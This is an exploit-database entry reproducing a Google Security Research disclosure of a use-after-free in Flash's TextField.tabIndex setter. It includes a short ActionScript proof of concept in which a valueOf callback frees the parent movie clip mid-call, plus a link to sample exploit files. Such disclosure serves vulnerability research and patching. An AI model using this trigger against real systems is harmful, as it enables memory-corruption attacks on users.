Use-after-free in TextField.tabIndex setter

vendor:

Google Security Research

by:

Google Security Research

7,5

CVSS

HIGH

Use-after-free

416

CWE

Product Name: Google Security Research

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2010

Use-after-free in TextField.tabIndex setter

There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows: var times = 0; var mc = this.createEmptyMovieClip('mc', 1); var tf = mc.createTextField('tf', 2, 1, 1, 100, 100); tf.text = 'hello'; tf.tabIndex = {valueOf : func}; function func(){ if(times == 0){ times++; return; } mc.removeMovieClip(); // Fix heap here return 0x77777777; }

Mitigation:

Ensure that the tabIndex setter is only passed valid integer values.

Source

Exploit-DB raw data:

Source: https://code.google.com/p/google-security-research/issues/detail?id=574

There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 1);
var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
tf.text = "hello";
tf.tabIndex = {valueOf : func};

function func(){
	if(times == 0){
		times++;
		return;
        }
	mc.removeMovieClip();
	
        // Fix heap here

	return 0x77777777;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39054.zip